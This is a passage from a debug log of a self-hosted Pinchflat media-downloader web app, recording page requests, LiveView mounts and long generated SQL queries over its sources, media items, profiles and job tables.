"media_state" => "other", "source_id" => 2} 21:58:21.565 [debug] QUERY OK source="sources" db=0.5ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:21.566 [debug] QUERY OK source="media_items" db=0.6ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 21:58:21.568 [debug] QUERY OK source="media_items" db=0.9ms idle=7.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:58:21.568 [debug] Replied in 2ms 21:58:21.569 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:21.569 [debug] Replied in 53µs 21:58:21.771 [debug] Current batch of media processed. Will check again in 1000ms 21:58:21.815 [debug] Current batch of media processed. Will check again in 1000ms 21:58:22.304 [info] GET / 21:58:22.304 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:58:22.305 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=742.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:22.306 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.3ms idle=739.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:58:22.307 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=739.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:58:22.320 [debug] QUERY OK source="media_items" db=12.9ms queue=0.3ms idle=739.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:58:22.321 [debug] QUERY OK source="media_items" db=0.1ms queue=0.3ms idle=109.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:58:22.321 [debug] QUERY OK source="settings" db=0.3ms idle=15.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:22.322 [debug] QUERY OK source="settings" db=0.3ms idle=15.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:22.322 [debug] QUERY OK source="settings" db=0.4ms idle=15.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:22.324 [debug] QUERY OK source="media_items" db=0.2ms queue=0.3ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:58:22.325 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:58:22.326 [debug] QUERY OK source="sources" db=0.5ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 21:58:22.329 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=6.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:58:22.331 [debug] QUERY OK source="media_items" db=1.3ms queue=0.3ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:58:22.332 [debug] QUERY OK source="tasks" db=0.4ms idle=7.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:58:22.333 [debug] QUERY OK source="sources" db=0.5ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 21:58:22.334 [info] Sent 200 in 30ms 21:58:22.553 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DlQWRg5BNlN8KAA-Jn5wIDFqERIcLShTvgd263e19eCWLL3Ib5_Sjjdj", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:22.592 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "downloaded"} 21:58:22.594 [debug] QUERY OK source="media_items" db=1.1ms idle=266.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:58:22.595 [debug] QUERY OK source="media_items" db=0.8ms idle=264.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:58:22.595 [debug] QUERY OK source="sources" db=0.5ms idle=263.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 21:58:22.596 [debug] Replied in 3ms 21:58:22.598 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "pending"} 21:58:22.600 [debug] QUERY OK source="media_items" db=1.0ms idle=266.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:58:22.601 [debug] QUERY OK source="media_items" db=1.5ms idle=266.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:58:22.602 [debug] Replied in 3ms 21:58:22.603 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:22.603 [debug] QUERY OK source="tasks" db=0.4ms idle=9.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:58:22.604 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 21:58:22.604 [debug] Replied in 1ms 21:58:22.606 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:22.606 [debug] Replied in 55µs 21:58:22.772 [debug] Current batch of media processed. Will check again in 1000ms 21:58:22.816 [debug] Current batch of media processed. Will check again in 1000ms 21:58:23.773 [debug] Current batch of media processed. Will check again in 1000ms 21:58:23.817 [debug] Current batch of media processed. Will check again in 1000ms 21:58:24.330 [info] GET /sources 21:58:24.330 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:58:24.330 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=598.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:24.331 [debug] QUERY OK source="settings" db=0.6ms idle=599.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:24.332 [debug] QUERY OK source="settings" db=0.4ms idle=600.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:24.333 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=601.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:24.334 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=118.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:24.336 [debug] QUERY OK source="sources" db=1.2ms queue=0.5ms idle=3.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:24.339 [debug] QUERY OK source="sources" db=1.6ms queue=0.6ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:24.341 [info] Sent 200 in 11ms 21:58:24.592 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "K1cTLncZHAE_YBQcBH93CmcWHnccJQJuSdaZOkOcz-WunM4c4IP6jbNW", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:24.643 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:58:24.645 [debug] QUERY OK source="sources" db=1.9ms idle=310.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= 